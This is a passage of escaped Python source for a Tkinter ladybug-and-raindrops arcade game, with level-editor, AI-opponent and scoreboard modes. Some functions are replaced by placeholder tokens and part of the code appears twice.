random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, 